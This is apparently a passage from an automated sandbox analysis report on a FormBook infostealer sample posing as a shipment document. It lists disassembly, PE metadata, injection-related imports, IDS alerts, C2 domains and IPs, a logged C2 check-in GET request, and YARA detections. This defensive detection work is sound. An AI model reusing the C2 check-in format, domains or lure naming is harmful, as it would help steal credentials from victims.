                                                                                                                                                                                                        jmp 00007F02D4BCAC6Ah
                                                                                                                                                                                                        test edi, 00000003h
                                                                                                                                                                                                        jne 00007F02D4BCA817h
                                                                                                                                                                                                        shr ecx, 02h
                                                                                                                                                                                                        and edx, 03h
                                                                                                                                                                                                        cmp ecx, 08h
                                                                                                                                                                                                        jc 00007F02D4BCA82Ch
                                                                                                                                                                                                        rep movsd
                                                                                                                                                                                                        jmp dword ptr [00416494h+edx*4]
                                                                                                                                                                                                        nop
                                                                                                                                                                                                        mov eax, edi
                                                                                                                                                                                                        mov edx, 00000003h
                                                                                                                                                                                                        sub ecx, 04h
                                                                                                                                                                                                        jc 00007F02D4BCA80Eh
                                                                                                                                                                                                        and eax, 03h
                                                                                                                                                                                                        add ecx, eax
                                                                                                                                                                                                        jmp dword ptr [004163A8h+eax*4]
                                                                                                                                                                                                        jmp dword ptr [004164A4h+ecx*4]
                                                                                                                                                                                                        nop
                                                                                                                                                                                                        jmp dword ptr [00416428h+ecx*4]
                                                                                                                                                                                                        nop
                                                                                                                                                                                                        mov eax, E4004163h
                                                                                                                                                                                                        arpl word ptr [ecx+00h], ax
                                                                                                                                                                                                        or byte ptr [ecx+eax*2+00h], ah
                                                                                                                                                                                                        and edx, ecx
                                                                                                                                                                                                        mov al, byte ptr [esi]
                                                                                                                                                                                                        mov byte ptr [edi], al
                                                                                                                                                                                                        mov al, byte ptr [esi+01h]
                                                                                                                                                                                                        mov byte ptr [edi+01h], al
                                                                                                                                                                                                        mov al, byte ptr [esi+02h]
                                                                                                                                                                                                        shr ecx, 02h
                                                                                                                                                                                                        mov byte ptr [edi+02h], al
                                                                                                                                                                                                        add esi, 03h
                                                                                                                                                                                                        add edi, 03h
                                                                                                                                                                                                        cmp ecx, 08h
                                                                                                                                                                                                        jc 00007F02D4BCA7CEh

                                                                                                                                                                                                        Rich Headers

                                                                                                                                                                                                        Programming Language:
                                                                                                                                                                                                        • [ASM] VS2008 SP1 build 30729
                                                                                                                                                                                                        • [ C ] VS2008 SP1 build 30729
                                                                                                                                                                                                        • [C++] VS2008 SP1 build 30729
                                                                                                                                                                                                        • [ C ] VS2005 build 50727
                                                                                                                                                                                                        • [IMP] VS2005 build 50727
                                                                                                                                                                                                        • [ASM] VS2008 build 21022
                                                                                                                                                                                                        • [RES] VS2008 build 21022
                                                                                                                                                                                                        • [LNK] VS2008 SP1 build 30729

                                                                                                                                                                                                        Data Directories

                                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                        Sections

                                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                        .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                        .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                        .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                        .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                        Resources

                                                                                                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                        RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                                                                                                                                        RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                                                                                                                                        RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                                                                                                                                        RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                                                                                                                                        RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                                                                                                                                        RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                                                                                                                                        RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                                                                                                                                        RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                                                                                                                                        RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                                                                                                                                        RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                                                                                                                                        RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                                                                                                                                        RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                                                                                                                                        RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                                                                                                                                        RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                                                                                                                                        RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                                                                                                                                        RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                                                                                                                                        RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                                                                                                                                        RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                                                                                                                                        RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                                                                                                                                        RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                                                                                                                                        RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                                                                                                                                        RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                                                                                                                                        RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                                                                                                                                        RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                                                                                                                                        RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                                                                                                                                        RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                                                                                                                                        RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                                                                                                                                        Imports

                                                                                                                                                                                                        DLLImport
                                                                                                                                                                                                        WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                                                                                                                                        VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                                                                                                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                                                                                                                                        COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                                                                                                                                        MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                                                                                                                                        WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                                                                                                                                        PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                                                                                                                                        USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                                                                                                                                        KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                                                                                                                                        USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                                                                                                                                        GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                                                                                                                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                                                                                                                                        ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                                                                                                                                        SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                                                                                                                                        ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                                                                                                                                        OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                                                                                                                                        Possible Origin

                                                                                                                                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                        EnglishGreat Britain
                                                                                                                                                                                                        EnglishUnited States

                                                                                                                                                                                                        Network Behavior

                                                                                                                                                                                                        Suricata IDS Alerts

                                                                                                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                        2024-10-28T14:14:11.895182+01002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.84973713.248.252.11480TCP
                                                                                                                                                                                                        2024-10-28T14:14:11.895182+01002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.84973713.248.252.11480TCP
                                                                                                                                                                                                        2024-10-28T14:14:11.895182+01002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.84973713.248.252.11480TCP

                                                                                                                                                                                                        Network Port Distribution

                                                                                                                                                                                                        TCP Packets

                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.364757061 CET4973780192.168.2.813.248.252.114
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.370130062 CET804973713.248.252.114192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.382299900 CET4973780192.168.2.813.248.252.114
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.382416010 CET4973780192.168.2.813.248.252.114
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.388797998 CET804973713.248.252.114192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.889100075 CET4973780192.168.2.813.248.252.114
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.895034075 CET804973713.248.252.114192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.895181894 CET4973780192.168.2.813.248.252.114

                                                                                                                                                                                                        UDP Packets

                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                        Oct 28, 2024 14:12:44.897530079 CET6098353192.168.2.81.1.1.1
                                                                                                                                                                                                        Oct 28, 2024 14:12:44.906616926 CET53609831.1.1.1192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:13:04.644949913 CET6216353192.168.2.81.1.1.1
                                                                                                                                                                                                        Oct 28, 2024 14:13:04.666244030 CET53621631.1.1.1192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:13:42.171888113 CET5443953192.168.2.81.1.1.1
                                                                                                                                                                                                        Oct 28, 2024 14:13:51.147702932 CET5057053192.168.2.81.1.1.1
                                                                                                                                                                                                        Oct 28, 2024 14:13:51.157968044 CET53505701.1.1.1192.168.2.8
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.332906961 CET5358253192.168.2.81.1.1.1
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.348236084 CET53535821.1.1.1192.168.2.8

                                                                                                                                                                                                        DNS Queries

                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                        Oct 28, 2024 14:12:44.897530079 CET192.168.2.81.1.1.10x4545Standard query (0)www.unwaleheathyhibbing.cfdA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:04.644949913 CET192.168.2.81.1.1.10xab7bStandard query (0)www.oco188rtp.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:42.171888113 CET192.168.2.81.1.1.10xf9faStandard query (0)api.msn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:51.147702932 CET192.168.2.81.1.1.10x8f3cStandard query (0)www.ikigorakos.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.332906961 CET192.168.2.81.1.1.10xecfStandard query (0)www.764.xyzA (IP address)IN (0x0001)false

                                                                                                                                                                                                        DNS Answers

                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                        Oct 28, 2024 14:12:44.906616926 CET1.1.1.1192.168.2.80x4545Name error (3)www.unwaleheathyhibbing.cfdnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:04.666244030 CET1.1.1.1192.168.2.80xab7bName error (3)www.oco188rtp.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:42.179569006 CET1.1.1.1192.168.2.80xf9faNo error (0)api.msn.comapi-msn-com.a-0003.a-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:13:51.157968044 CET1.1.1.1192.168.2.80x8f3cName error (3)www.ikigorakos.netnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.348236084 CET1.1.1.1192.168.2.80xecfNo error (0)www.764.xyz13.248.252.114A (IP address)IN (0x0001)false
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.348236084 CET1.1.1.1192.168.2.80xecfNo error (0)www.764.xyz99.83.138.213A (IP address)IN (0x0001)false

                                                                                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                                                                                        • www.764.xyz

                                                                                                                                                                                                        HTTP Packets

                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                        0192.168.2.84973713.248.252.114803636C:\Windows\explorer.exe
                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                        Oct 28, 2024 14:14:11.382416010 CET157OUTGET /ms84/?Ol=aRGCqGqS1KJ0su+wMD27827GGXC+f5XXSoOX4ZczOgd3c4vi/ATBZdGOzoSN7qN/kVlO&tFQp=YP7xkZXxyhq HTTP/1.1
                                                                                                                                                                                                        Host: www.764.xyz
                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                        Data Raw: 00 00 00 00 00 00 00
                                                                                                                                                                                                        Data Ascii:


                                                                                                                                                                                                        Statistics

                                                                                                                                                                                                        CPU Usage

                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                        Memory Usage

                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                                        Behavior

                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                        System Behavior

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:0
                                                                                                                                                                                                        Start time:09:12:07
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Users\user\Desktop\Export Shipment Documents 72335.exe
                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\Export Shipment Documents 72335.exe"
                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                        File size:1'092'621 bytes
                                                                                                                                                                                                        MD5 hash:27A6E3019A7A5A253389DE68DD9AFDA9
                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:2
                                                                                                                                                                                                        Start time:09:12:08
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\Export Shipment Documents 72335.exe"
                                                                                                                                                                                                        Imagebase:0x870000
                                                                                                                                                                                                        File size:46'504 bytes
                                                                                                                                                                                                        MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
